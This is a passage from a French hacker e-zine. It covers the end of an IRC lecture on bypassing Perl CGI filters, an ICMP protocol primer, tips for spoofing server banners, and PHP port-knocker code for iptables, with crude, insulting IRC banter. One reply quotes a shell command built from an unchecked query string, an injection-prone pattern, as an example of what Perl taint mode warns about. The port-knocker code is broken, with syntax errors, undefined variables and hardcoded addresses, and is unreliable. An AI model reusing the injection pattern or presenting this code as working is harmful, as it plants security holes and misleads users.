problème si vous ne savais pas tout les variables du système et les détail 
sur comment marche t'elles. Aussi vous prouvez trouver des nouvelles 
méthodes pour exploiter des filtres très commun (ndt: donc très utilisé) 
avec cette méthode, ainsi expérimentez beaucoup avec ce qui est possible 
et ce qui ne l'est pas.
<b0iler> --  
<b0iler> Maintenant c'est le temps de la discussion, j'essayerai de 
repondre à toute les questions  (si vous en avez) ou vous aidez a mieux 
comprendre quelquechose. Cette partie pourra etre editté dans le log puis 
envoyer au bsrf site (ndt: Black Sun Research Fquelquechose).
<b0iler> S'il vous plait essayez de se retenir de parler à moins que vous 
ayez une question ou quelque chose a ajouté à la discussion. Ne parlez pas 
sur autres choses qui ne regardent pas les filtres Perl.

--- b0iler sets modes [#bsrf -m]  

(ndt: Aller, je vous laisse le reste du log non traduit comme bonus ;)

<Strider> nice lec b0iler =)  
<b0iler> no questions worry me. ether it was good or people don't care much.  
<luCky> is this gonna be on a website  
<b0iler> luCky: yes it will be on http://b0iler.eyeonsecurity.net tonight 
and maybe http://blacksun.box.sk if they upload it  
<Vegas> b0iler YOU ARE A FUCKING BASTARD  
<Vegas> pvt now  
<dksk8> lol  
<Strider> LMAO!  
<Strider> rofl  
<dksk8> roflmao  
<dksk8> no questions just <Vegas> b0iler YOU ARE A FUCKING BASTARD  
<b0iler> To conclude the lecture I would like to comment on how obese cyrus is.  
<b0iler> <yank> Cyrus: eat a duck.  
<b0iler> <yank> I mean dick.  
<b0iler> <b0iler> he'll eat both. and then a chicken.  

III-L'add-on aka le serment:

voici ce qu'a dis notre prophet LastCall_ aprés avoir lis l'article:

--------------------
[Snip]
La où sa lecture est incomplète, c'est  qui  parle même pas du tainted mode  en
perl. #!/usr/bin/perl -T
Le -T print des warnings de sécurité, du genre son $blah = `cat
$ENV{'QUERY_STRING'}`;  va printer un warning paske
tu exécute une commande avec une variable dedans... et ça Perl  t'averti,  donc 
juste en sachant -T, toute la "check list" que b0iler parle est un peu  useless 
vu que le language te la donne en warning... pis pour le reste ben  c'est juste 
que de faire du "find and replace" pour les strings malsaines.. dans ce cas la, 
mieux vaut faire comme Wyze sur www.mindkind.org et  d'utiliser  la  règle   du 
"j'accepte juste ce que je veux" et  d'utiliser  des  chiffres  only  pour  les 
params, ou encore des lettres only ( \w ou  [A-Za-z] ), au lieu de stripper les 
48000 chars spéciaux qui existe... so en résumé,
perl -T
s/\W//g;
$dbh->quotes("$varsql"); # sql injecting protection


3  petits  trucs  qui font que cest un peu plus sécure.. la seule  affaire  qui
reste   c   le   "bypass   de  privilège"  et  ça,  encore  une  fois  Wyze  et
www.mindkind.org (on est hot hein)  a  la  meilleure  solution : un controlleur
générique qui check les access avant de faire quoi  que  se  soit dautre, et ce
pour chaque request a faire a une page CGI).

bon voila serious, je viennes de te  sauver  un  article,  et  je  crois  qu'on
pourrait facilement mettre  mon  "sermont"  comme  entre  article  au  lieu  de
traduire boiler :P
[Snip]
--------------------

Si vous comprenez rien, c'est normale on est bc plus intelligent que vs

IV-Conclusion:
J'en ai pas envie non plus.


a+
SeriousMan, ze good translateur


________________________
Quote: J'en ai pas envie_SeriousMan

.----------------------------------------------- - - --- - ---
| Seriousman   [seriousman at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -    
    
    
    
    
Wireless Addict Anonymes
- Si vous souffrez (ou profitez) d'addiction envers le wireless,
  envoyer vous vos histoires à mk@mindkind.org, ça va nous faire
  plaisir de les lires et de les paster dans un entre article
  en toute confidentialité avec nos 450 000 lecteurs           -

-
Cette semaine nous avons Mr_Peuch qui s'fait cuire du poulet
au wifi amplifié et nous raconte son setup à la maison...
-

Application des concepts : SSID FactoryDefault, Chicoutimi, QC
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Matériel Utilisé:
	1 - Antenne Omni-directionnelle 12dBi ( 4 pied de haut :P )
	1 - Amplificateur bi-directionnel 500mW
	1 - Carte PCI Linksys WMP11 (Prism2.5)
	30 - Pied de cable Coaxial LMR400 Low Loss
	1 - Access Point :
		Ordinateur Pentium 166, 32MB de Ram, LINUX 2.6.7

Software Utilisé :
	- Iptables
	- Wireless tools ( iwconfig, iwpriv, etc )
	- Drivers hostap Linux ( http://hostap.epitest.fi/ )

Sécurité :
	- WEP
	- Mac Filter
	- Et autre choses qui sont secretes :P

Configuration :
	Tout d'abord, s'assurer  de compiler le  kernel avec support  Wireless.
	Ensuite,  compiler  les drivers  hostap  en modules  et  les installer.
	Choisir si  vous vouler  faire du  NAT avec  iptables ou  simplement du
	routing avec iproute2. Configurer votre carte wireless pour quelle soit
	en mode MASTER  et metter se  que bon vous  semble comme SSID,  KEY, IP
	etc.

Résultat :
	Au départ,  on s'attendais  pas que  ma node  sans-fils allait peter le
	1Km. Jai donc tester avec ma senao (200mW) et mon antenne 12dbi. Contre
	toute attente, nous avons reussi a faire 3.2km aec cette configuration.
	Le laptop avec qui on c'est connecter y'avais une senao et une  antenne
	7dBi.  A 3.2Km on avait 30 de link quality a 11mbit ce qui est vraiment
	bon, on  leechais a  400k sec.  Suite à  sa, on  a decider de poser mon
	amplificateur  500mW. En  théorie j'étais  supposer doubler	 mon
	signal.  En pratique, c'est exactement ce qui est arriver.  A 3.2Km  on
	avait  50  de  link  quality  et  on  downloadais  a  500k/sec  :).  En
	extrapolant, on pourrait se dmander jusqu'ou ma node se rend en  1mbit.
	Si y'aurait pas tant de montagne, on pourrait tester, mais en theorie a
	6km je devrais avoir encore du signal :)

-
Vous n'êtes pas seul a être wifi addict. *support moral*
-



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.05  unofficial ICMP Protocol RFC
:                              aka ping
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |



Tout d'abbord en écrivant cet article je suppose que vous avez une connaissance 
minimale du protocole TCP et IP. Cela étant dit venons-en au vif du sujet.

Comme on le sait, le protocole IP ne permet pas la remise de datagrammes  d'une 
façon fiable. En fait il a justement été conçu de cette façon pour  qu'il  soit 
le plus simple possible. Qu'arrive t-il lorsqu'un packet se pert dans le réseau 
ou pour une raison quelqu'onque n'arrive pas à destination?  Le  protocole ICMP 
( Internet Control Message Protocol ) est là pour  sauver  la  situation  (  ou 
presque ). Il sert à avertir la source qui a envoyé le packet ( généralement un 
routeur ou tout autres périfériques réseaux ) que ce dernier ne s'est pas rendu 
à destination comme prévu pour une des raisons suivantes:

- L'expiration du champs TTL ( Time To Live );
- La perte d'un des fragments du datagramme;
- L'indisponibilité du protocole, d'un service ou d'un hôte;
- L'impossibilité de transmettre un  datagramme parce que la
  fragmentation est interdite et que la taille du datagramme
  est plus grande que le MTU  (  Maximum Transmission Unit )
  du réseau;
- Le réseau est congestionné;


Le  protocole  ICMP  est  obligatoire dans les toutes implémentations de IP. Le
module ICMP run par dessus IP ( voir figure ci-dessous ).



Couche  ___________
réseau |   ___     |<------------- Protocole IP
du     |  |   |<------------------ Module ICMP implémenté dans IP
modèle |  |___|    |
OSI    |___________|





	          [DANS QUEL CAS ICMP GÉNERE UN MESSAGE?]

Bien qu'il signal des messages d'erreurs, ICMP ne rendra pas IP plus fiable  si 
l'admin ne va pas regarder si ya des messages ICMP  de  temps  en  temps.  Pour 
éviter l'apocalipse et surtout la congestion  du  réseau  ICMP  n'envoie  aucun 
message pour les packets ICMP qui ne se rendent  pas  à  destination.  Un autre 
truc important à savoir c'est que ICMP va générer un message d'erreur seulement 
pour le premier packet, celui avec le champs Fragment Offset à 0,  et  tout  ça 
dans le but de ne pas  congestionner le réseau évidemment. Le dernier cas où il 
n'y aura  pas  de  message  ICMP  généré  est  lorsque la source est un adresse 
broadcast. Pourquoi d'après vous? (eheh)




                           [HOW DOES IT WORKS?]


Machine A <--->  Routeur1  <---> Routeur2 <---> Routeur3  <--->  Machine B
                                     |              |
                                      \            /
                                       \          /
                                         Routeur4
                                             |
                                             |--> Réseau x


Supposons que la table de routage de Routeur3 soit totalement fucked up et  que 
selon  celle-ci,  le  packet  doit  être  routé  vers  Routeur4 plutôt que vers 
Machine B, lorsque le packet va arriver au Routeur4,  il  va regarder l'en-tête
du packet et va se rendre compte que Machine B  n'appartient  pas  à  son  sous
réseaux donc il va générer un message d'erreur  ICMP  request (type 5 voir plus
tard) et il va l'envoyer à la source, qui selon le  packet  est  Machine A.  En 
effet, les routeurs n'enregistrent pas la route du packet à moins que  l'option 
Record Route soit activée, ce qui est rarement le cas car ça grossit  la taille 
de l'en-tête du packet. Lorsque Machine A va recevoir le ICMP  request,  il  va 
envoyer un ICMP reply pour signaler à Routeur4 qu'il a  bien  reçu  le  message 
d'erreur et qu'il va prendre un moyen pour que ça s'arrange  ( Ex.:  renvoyé le 
packet qui a chier ).




			 [PACKET ICMP EN DÉTAILS]

Le packet ICMP est encapsulé dans le packet IP comme ceci:
  ________________________________________________________________
|                 |                                              |
|   En-tête IP    |                  Données IP                  |
|_________________|______________________________________________|
                   |               |                              |
                   |  En-tête ICMP |        Données ICMP          |
                   |_______________|______________________________|




L'en-tête IP utilisé pour transporter un message ICMP a la structure suivante :

Longueur d'en-tête
TOS
Longueur total
Identification
Flags : rarement nesscessaire car un message ICMP est court
Fragment Offset
TTL
Protocole : valeur 1 ( indique ICMP )
Total de contrôle
IP source
IP destination

Comme je vous l'ai dit plus haut, je suppose que  vous  avez  une  connaissance
minimale du protocole IP donc je ne m'attarderai pas trop sur ça.



Structure générale des messages ICMP:



              -----------En-tête ICMP-------------- --Données ICMP-
____________|_____________________________________|_______________|
|            |      |      |          |            |               |
| En-tête IP | Type | Code | Total de |  Paramètre |  Informations | + DataLink
|            |      |      | contrôle |ou inutilisé|               |
|____________|______|______|__________|____________|_______________|
              1octet 1octet  2 octets    4 octets



Valeurs possibles pour le champs Type :

0  : Echo reply
3  : Destination unreachable
4  : Source quench
5  : Redirect
8  : Echo request
11 : Time exceeded
12 : Parameter IP unintelligible
13 : Timestanp request
14 : Timestamp reply
15 : Infotmation request
16 : Information reply
17 : Address mask request
18 : Address mask reply

Ceux qui ne figure pas dans cette  liste  sont  réservés  pour  des  protocoles
expérimentaux et sont suceptible  de  changer. Si vous les voulez tout de même,
voici la liste:

   1-2: Unassigned
     6: Alternate Host Address
     7: Unassigned
     8: Echo
     9: Router advertisement
    10: Router selection
19-29: Reserved
    30: Traceroute
    31: Datagram conversion error
    32: Mobile host redirect
    33: IPv6 Where-are-you
    34: IPv6 I-am-here
    35: Mobile registration request
    36: Mobile registration reply
37-255: Reserved


Combinaisons possibles pour le champs Type et Code :


Type             Code            Signification


0 (Echo)         0               No code

3 (destination   0               Next Unreachable
   unreachable)   1               Host unreachable
                  2               Protocol unreachable
                  3               Port unreachable
                  4               Fragmentation needed and "Don't Fragment" was
                                  set
                  5               Source route failed
                  6               Destination network unknown
                  7               Destination host unknown
                  8               Source host isolated
                  9               Communication with destination network is
                                  Administratively prohibited
                 10               Communication with destination host is
                                  Administratively prohibited
                 11               Destination network unreachable for type of
                                  service
                 12               Destination host unreachable for type of
                                  service

4 (source        0               No code
   quench)

5 (redirect)     0               Redirect datagram for the network( or subnet )
                  1               Redirect datagram for the host
                  2               Redirect datagram for the type of service and
                                  network
                  3               Redirect datagram for the type of service and
                                  host

8 (Echo)         0               No code

11 (Time exceeded)0               Time to live exceeded in transit
                  1               Fragment reassembly time exceeded

12 (Parameter     0               Pointer indicates the error
   problem)       1               Missing a required option
                  2               Bad length

13 (Timestamp)    0               No code
14 (Timestamp)    0               No code

15 (Information)  0               No code
16 (Information)  0               No code

17 (Address mask) 0               No code
18 (Address mask) 0               No code



Ensuite, le champs total de contrôle utilise le  même  algorithme  que  IP.  Le
champs  Parametre  est  utile  pour  ajouter  des  paramètres  facultatifs  qui 
dépendent  du  message ICMP. Le champs Informations est le champs le plus utile 
car il  comprend  l'en-tête  IP + 64 bits de ULP ( protocol de couche supérieur 
(Upper  Layer Protocol) ) appartenant au datagramme en erreur. C'est donc grâce 
à ce champs qu'on peut identifier le datagramme qui a posé problème.





	        [PRINCIPALES COMBINAISONS DE TYPES ET DE CODES]


Type 0/8 : Echo/PING

Les messages ICMP de types 0 et 8 sont les plus utilisés. En effet l'utilitaire 
PING qui est disponible  dans  pratiquement  la  totalité  des  systèmes TCP/IP 
utilisent ces types de messages. Je ne dirai rien de plus  sur  PING...  Si  tu 
n'as jamais entendu parler de PING, cesse de lire cet article au plus sacrant.

Type 3 : Destination inacessible

Ce type de message est  utilisé  lorsqu'un  périférique  n'est  pas  capable de
transmettre un datagramme à la destination demandée. Les codes mentionnnés plus 
haut ont chacun leur signification.

Type 4 : Source Quench

Lorsque  un  routeur  est  surchargé  par  le traffic réseau, les packets qu'il 
reçoit s'enmagasinent dans sa mémoire tambon.  Lorsqu'il  n'a  plus  de mémoire
disponible il doit écarter les packets qu'il recoit, il envoie alors un message 
ICMP Source Quench pour avertir la source de ralentir le débit. Évidement cette 
méthode n'est pas la meilleur puisqu'en  envoyant  d'autres packets, le routeur 
ne fait que congestionner le  réseau  encore  plus qu'il était avant. Il existe 
des implémentations  plus  pratique  qui surveillent constamment le flux sur le 
réseau et qui  envoient  des messages ICMP lorsque la congestion commence, pour 
éviter que la mémoire du routeur ne soit saturée.  c'est  ben beau tout ça mais 
comment la source fait pour savoir  qu'elle  peut  recommencer  à  envoyer  des 
packets? Il n'existe aucun moyen à date pour que la source sache quand repartir 
à sender des packets mais les  applications qui utilise TCP sont habituellement 
conçues pour savoir quand reprendre la fréquence normale.

Type 5 : Redirection

Un message ICMP de type 5 est généré  lorsqu'un  routeur  trouve  une  meilleur 
route pour router le datagramme que celle prévue. Les codes mentionés plus haut 
disent dans quels cas quels messages de type 5 va être généré.

Par contre, si les routeurs prennent en compte les messages ICMP  de type 5, il 
se pourrait qu'un hacker malicieux envoie des faux messages ICMP de redirection 
à un routeur afin de perturber le réseau et d'obtenir des informations qui sont 
censées être  confidentielles. À vous de juger si vous voulez prendre en charge
les messages de redirection.





                       				      [RÉSUMÉ]

Vu que je suis a peu près certain que tu te souvient pas de la  moitié  de  cet 
article,  cette  section  va  te  dire  en  quelques  lignes ce qui faut que tu 
retiennes sur le protocole ICMP.

Le  module  ICMP  est  implémenté  directement  dans  le protocole IP et permet 
d'envoyer des messages de diagnostic lorsqu'il  arrive  quelque  chose  de  pas 
habituelle sur le réseau. Les messages ICMP sont très utiles pour  la détection 
de problèmes sur le réseau.




				                 [RFC PERTINENTES]


  RFC 792  -  RFC 950  -  RFC 1812  -  RFC 1122  -  RFC 1256  -  RFC 1191

.----------------------------------------------- - - --- - ---
| Sp1d3r   [linux_sucker at hotmail dot com] 
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



--
Comment rouler IIS sur Unix
  aka comment changer ses bannières for fun and profit
--

- Pour le démon Postfix:

Éditez le fichier main.cf à la recherche de la directive smtpd_banner:

smtpd_banner = Jaime bien ecouter star academie

Ensuite, `postfix reload` et `telnet localhost 25` pour s'assurer que  le  tout
fonctionne.

- Pour le démon Bind:

Dans le bloc options, ajoutez la directive suivante et modifiez la selon  votre 
bon vouloir:

options{
	version "Jaime ecouter du Wilfred";
};

Ensuite,  rechargez   Bind   et  `dig @localhost version.bind chaos txt`   pour
s'assurer que le tout fonctionne.

- Pour le démon OpenSSH:

Éditez le fichier version.h dans le répertoire d'OpenSSH, et changer  la  ligne 
suivante ->

#define SSH_VERSION     "OpenSSH_1.1.1 - Osti que tu es belle Julie Snyder!"

pour mettre quelque chose qui vous represente plus.

- Pour le démon Apache:

Dans src/include/httpd.h, cherchez pour

#define SERVER_BASEPRODUCT  "Apache"
#define SERVER_BASEREVISION "1.3.31"

Modifiez cela à votre guise, tel

#define SERVER_BASEPRODUCT  "Microsoft-IIS"
#define SERVER_BASEREVISION "5.0"

recompilez, ensuite allez éditer votre fichier httpd.conf et puis allez  mettre
ServerTokens Min (pour faire disparaitre  la  petite  bannière  (Unix)  qui  se 
rajoute à la fin)

-EOF-

--

Vous en  avez  d'autres ?   Écrivez  à  banner@mindkind.org et nous mettrons le
texte à jour sur le site web et nous vous rajouterons dans les crédits!

                                                            - g463@mindkind.org



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.06  Heille fait la file comme tout le monde
:                              aka 'ta gueule minable, j'connais l'portier'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |

						
  Nombreuse sont les ocasions ou un hacker, ou voire meme peu etre  vous,  doit 
accedez sont reseau a distance. Pour ce  faire  de nombreuse technologie existe 
afin de faciliter la  tache,  en partant du classic sshd ouvrant les entrailles 
de votre linux ou de votre cygwin au monde exterieur, au client graphique telle 
que VNC, Windows remote desktop  ou  encore  cytrix  metaframe  pour  les  plus 
hardcore dentre vous. Par  contre,  cest programme si merveilleux soit-il ouvre 
une porte de plus su votre ordi. Une porte souvent solide, mais parfois tout de 
meme enfoncable. Qui ne coure pas le risque doublier  de  faire  un  update  de 
securiter un soir ou 10 suedoise soffre  a  vous ?  Et  puis,  pour quel raison 
c'est service devrais t'il  etre  ouvert  a tous 24h/24? Il n'y a effectivement 
aucune raison  pour  laquel  un  service du genre devrait etre ouvert sur votre
machine alors meme que vous travaillez en local dessus. 

plusieur solution soffre a vous.

1) la methode hardi bucherons

il sagit de fermer soit meme les serveurs  de  nos  application   et   de   les 
reouvrir lorsquon croit que l'on risque de peu  etre  en  avoir pour une raison 
quelqu'onque besoin. Cette solution  n'est  pas  tres  efficace, puisque tot ou 
tard, les statistiques  et murphy sont la pour le dire, vous aurrez besoin d'un 
service qui n'est pas lancer. 

2) La methode, jmen calisse, jreste a Quebec

Solution la plus simple, misee sur les statistiques, en vous basant  que  votre 
box est un ip nowhere dans l'ocean Internet.  que personne care vraiment a vous 
hacker anyway, Et que si ca arrive, ben Life, ques-tu veux ?....


Si par contre vous desirez une vrai solution, Il est temps de  penser  au  Port 
Knocking. Comme la plus par des  solutions  possiblement  envisagable  pour  un 
probleme donner, il y a 2 facon darriver a notre fin, la facon compliquer et la 
facon  simple.  La  methode  decrite  dans  cette  article  s'inscrit  dans  la 
philosophie "des  solutions  cheap  pour  les  moyens  du  bord". et  peu  etre 
appliquer par nimporte qui qui possede des talents  moderer  en programation et 
dans l'utilisation dun systeme  linux.  bref  the average joe sur un channel de 
hack et peu etre meme vous.


La theorie sur le port knocking est tres simple, il  sagit  meme   d'une   idee 
vieille comme le monde, celle de fraper avant  dentrer,  plus  particulierement 
dans le cas present, de fraper d'une  facon predeterminer  a  la porte afin que 
celle ci reconnaissant l'intru le laisse entrer, et seulement lui.  En  langage 
simple, un socket en mode listening qui attend  un  code  particulier  (qui peu 
etre une serie de connection  TCP  et/ou UDP a different  port  dans  un  ordre 
different),  ou  encore  une  connection  simple  TCP  ou  UDP etablie selon un 
protocole unique et particulier. Le reste de la job se voulant de  modifier  le 
firewall afin de laisser  penetrer  l'intru  (sont ip)  a  une  serie  de  port 
predeterminer ou determinable (si  supporter par le protocole du port knocker). 
Encore une foi il existe une facon complexe et une facon simple d'y arriver, et
evidament  nous  etudirons  la  facon simple. celle de modifier les  regles  de 
iptables grace a un system call utilisant la  commande iptables suivit d'un set 
d'instruction qui permettra d'effectuer les modifications souhaiter au firewall. 


c'est bien beau tout ca, mais voir concretement comment fonctionne un vrai port 
knocker qui, ca pourrais etre interressant,(et peu etre meme pratique). Et bien
comme si vous ne vous y en attendiez pas c'est ce que vous offre cette article, 
un vrai port knocker detailler et  expliquer. Vous aurez besoin pour l'utiliser 
des items lister si dessous.

Pre-requis

php
linux
iptables
un support reseau TCP/IP based



Tout  ca  semble  bien  complique mais en une vingtaine de lignes php  ont  peu
parvenir  a  construire  un port knocker tres simplet. Evidament pour rendre un 
code aussi petit on doit couper dans les procedures de verification. mais comme 
ici on naccepte que une seul entrer, et que toute les  modification  sont  deja 
hardcoder (bref on est sur de squi va se passer), elles ne sont pas necessaire, 
evidament  les  fonctionnaliter  de  se code sont bien minime. mais un coup que
l'on a access a ssh, on peu faire ce qu'on veut. well, ne vous inquietez pas je 
ne  me  defile  pas  tout  de  suite,  vous  aurrez  plus loin une version plus 
pragmatique de se code.


<?PHP
ini_set('max_execution_time',"99999");r, 
$key="hello\r\n";
$listenport = 9999;
$socket = socket_create_listen($listenport);
$conn = socket_accept($socket);
if (!$socket)
	{
	die("sucker");
	}
while(1)
	{
	sleep(5);
	$buff=socket_read($conn, 1024);
	if (strtolower($buff) == strtolower($key))
		{
	    	socket_getpeername($conn, $addr);
		socket_write($conn, $addr);
		$addr = "192.168.1.1";
		exec("/sbin/iptables -A INPUT -i eth0 -p tcp -d	192.168.1.230 -s $addr --destination-port 22 -j ACCEPT");
		}			
	}
?>


comme vous voyez, il est relativement facile de faire un portknocker de base  a 
partir  du  code  d'un hello world standard au niveau des sockets. puisque dans
cette example, un socket est mi en ecoute d'une clef, (hello dans a l'occurence),
lorsque cette clef  lui est passer, elle ne fait que repondre le ip du demandant
et ajute le firewall en concequence. voyons comment cela fonctionne en vrai. Bon 
tout  le  test  cest  effectuer  en  local,  mais  ca  ne change rien dutout aux 
resultats obtenu qui demontre un parfais fonctionnement du software. 

[root@localhost wyzeman]# /sbin/iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       tcp  --  anywhere             192.168.1.230       tcp dpt:ssh
Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain RH-Firewall-1-INPUT (0 references)
target     prot opt source               destination

[root@localhost wyzeman]# telnet 192.168.1.230 9999
Trying 192.168.1.230...
Connected to 192.168.1.230 (192.168.1.230).
Escape character is '^]'.
hello
192.168.1.230^]
telnet> quit
Connection closed.
[root@localhost wyzeman]# /sbin/iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       tcp  --  anywhere             192.168.1.230       tcp dpt:ssh
ACCEPT     tcp  --  192.168.1.1          192.168.1.230       tcp dpt:ssh
Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain RH-Firewall-1-INPUT (0 references)
target     prot opt source               destination



Bien sympatique n'est-ce pas, mais on aimerais mieu utiliser la technique de la
serie de port que du mots de passe cucu, (apres  tout, cest presque plus dur  a 
sniffer).  Et  aussi  ya  un  truc  qui suck dans se soft la, le firewall reste 
fermer ad vitam  eternam  c'est  plutot  sucky. Le  code  qui  suit contien les 
modifications  requise,  pour  ouvrir  le  port  ssh  dans iptables, on doit se 
connecter  successivement  sur  les  port 9999 6666 et 3333 de notre serveur et 
envoyer un point (.) suivie d'un enter sur chaque, pour refermer le firewall il 
suffit de refaire le meme truc.



<?PHP
ini_set('max_execution_time',"99999");
$key="hello\r\n";
$dropkey="bye\r\n";
$local= "192.168.1.230";
$listenport[0] = 9999;
$listenport[1] = 6666;
$listenport[2] = 3333;
$flag[0] = FALSE;
$flag[1] = FALSE;
$flag[2] = FALSE;
$state = out;
for ($x=0;$x<count($socket);$x++)
	{
		$socket[$x] = socket_create_listen($listenport[$x]);
		$conn[$x] = socket_accept($socket[$x]);	
	}
	

if (!$socket)
	{
	die("sucker");
	}
while(1)
	{
	sleep(5);
	for($x=0;$x<count($conn);$x++)
		{
		$buff=socket_read($conn[$x], 1024);
		if (!$flag[0] && !$flag[1] && !$flag[2] && $x == 0)
			{
			if ($buff == ".\r\n";)
				{
				$flag[0] = TRUE;
				}	
			}
		if ($flag[0] && !$flag[1] && !$flag[2] && $x == 1)
			{
			if ($buff == ".\r\n";)
				{
				$flag[1] = TRUE;
				}	
			}
		if ($flag[0] && !$flag[1] && !$flag[2] && $x == 2)
			{
			if ($buff == ".\r\n";)
				{
				$flag[0] = FALSE;
				$flag[1] = FALSE;
				$flag[2] = FALSE;
				}	
			}					
		if ($flag[0] && !$flag[1] && !$flag[2] && $x == 0)
			{
			if ($buff == ".\r\n";)
				{
				$flag[0] = FALSE;
				$flag[1] = FALSE;
				$flag[2] = FALSE;
				}	
			}
		if ($flag[0] && $flag[1] && !$flag[2] && $x == 2)
			{
			if ($buff == ".\r\n";)
				{
				if ($state == "out")
					{
					exec("/sbin/iptables -A INPUT -i eth0 -p tcp -d $local -s $addr --destination-port 22 -j ACCEPT");					
					}
				else 
					{
					exec("/sbin/iptables -D INPUT -i eth0 -p tcp -d $local -s $addr --destination-port 22 -j ACCEPT");
					}
				$flag[0] = FALSE;
				$flag[1] = FALSE;
				$flag[2] = FALSE;				
				}	
			}
		if ($flag[0] && $flag[1] && !$flag[2] && $x == 0)
			{
			if ($buff == ".\r\n";)
				{
				$flag[0] = FALSE;
				$flag[1] = FALSE;
				$flag[2] = FALSE;
				}	
			}
		if ($flag[0] && $flag[1] && !$flag[2] && $x == 1)
			{
			if ($buff == ".\r\n";)
				{
				$flag[0] = FALSE;
				$flag[1] = FALSE;
				$flag[2] = FALSE;					
				}
			}
						
		}
	}
?>


evidament se  connecter  3x de suite sur des ports differents pour faire .enter 
ce  n'est pas tres amusant, c'est pourquoi la majoriter des gens qui utilise un 
portknocker  de  se  type  le  font en conjonction avec un programme client qui 
produit l'algorythme desirer.


<?PHP
$port[0] 9999;
$port[1] 6666;
$port[2] 3333;

for ($x=0;$x<count($port);$x++)
	{
	$socket[$x] = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
	$conn[$x] = socket_connect($socket[$x]);
	$socket_write($conn[$x], ".\r\n");
	$socket_close($socket[$x]);
	}
?>



Pour le client rien de bien compliquer n'est requis, il ne fait apres tout  que 
automatiser une seul tache simple. Pour  cette  article  nous  arreterons  ici. 
l'essentiel aura ete dit. Pour ce qui est  du port knocker. Jajouterais quelque
fonction pour le rendre dynamique  ainsi  qu'un menu pour modifier iptables aux
gres sans avoir se connecter ulterieurement par ssh pour faire les  changements
a la main. Cette version fini sera releaser sur le site web en tant venu.


.----------------------------------------------- - - --- - ---
| Wyzeman   [Wyzeman at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



  < Mindkind tales from IRC >

  [02:38] <TheCopss> MindAway, 1 coin de rue de plus, tu t'aurais rouler a
                     terre pendans des heures.
  [02:38] <TheCopss> MindAway, Yavais des pute sur le coter, La fille vois
                     H3 et va a coter et marche a coter assez proche, y y
                     dis "kesse kia ?" moi jme tourne pis a le fixais, a y
                     dis "rien" pis BANG a fonce dans un arbre pis a tombe
                     a terre
  [02:39] <TheCopss> J'ai fhaie creve d'un ACV apres sa
  [02:39] <TheCopss> sa chum pute a parti a rire comme un malade :p
  [02:39] <TheCopss> les pimp nous fixais d'un air bizzard :p
  [02:52] <MindAway> hahahahahahahahahahaha
  [02:52] <MindAway> omfg

  < ----------------------- >



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.07  Radio scrap
:                              aka 'des boutes pi des affaires en remote'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |



Se jour  de grâce  de l’année  du singe,  me pousse  aujourd’hui à  vous montrer
comment singer  ;)  Singer  <Imiter, contrefaire.>  se mot  de quelques  lettres
n’est malheureusement pas utiliser à  son plein potentiel, apprendre  et  encore
mieux réaliser  en se  servait du  savoir des  autres est  une des  plus  belles
possibilité de ce monde.Ca vous permet souvent même d’atteindre un but spécifique
sans vous soucier des lois de la physique, de plusieurs  contraintes   complexes
et surtout du refus d’aide  redondant de personnes qualifier.  Aujourd’hui  dans
ce petit et instructif article on va  apprendre à singer, comme  des vrai ;)  ..
sans  remord,  sans complication..  soyez naturel  et la  nature  saura  venir à
vous..  Par  contre un  minimum  de connaissance  en  électronique  vous  aidera
grandement.. (et ici on parle d’un minimum de type « positif, négatif »).  

Combien de fois  vous êtres vous  déjà demander comment  vous pourriez faire  un
gadget  complexe,  avec un  réel  potentiel qui  pourrait  satisfaire tout  vous
besoins, voir même en crée chez vos voisins!..   Mais quelle était donc la cause
de l’abandon de  ces projets?, quel  était donc le  problème principal qui  vous
arrêtait  systématiquement quand  venait l’étape  de la  réalisation… voir  même
celle de  la fabulation!?  Plusieurs facteur  j’en suis  sur, la conception trop
complexe, les pièces introuvables voir hors de prix, ou encore l’immense travail
logistique qu’il vous faudrait  afin de mettre à  bien votre projet. Et  bien en
cette année  du singe,  nous allons  singer !.. L’essentiel  n’est peut-être pas
tant d’avoir la connaissance mais bien  d’avoir le produit fini :) .. Et  pour y
arriver tout est permit. Voici donc la méthode proposé en bref, vous avez besoin
d’un transmetteur  et d’un  récepteur pour  un projet,  vous voulez  par exemple
contrôler à  distance un  objet quelconque,   bien sur  crée de  toute pièce ces
différents modules nécessiterais des  pièces spécifiques, du temps,  et beaucoup
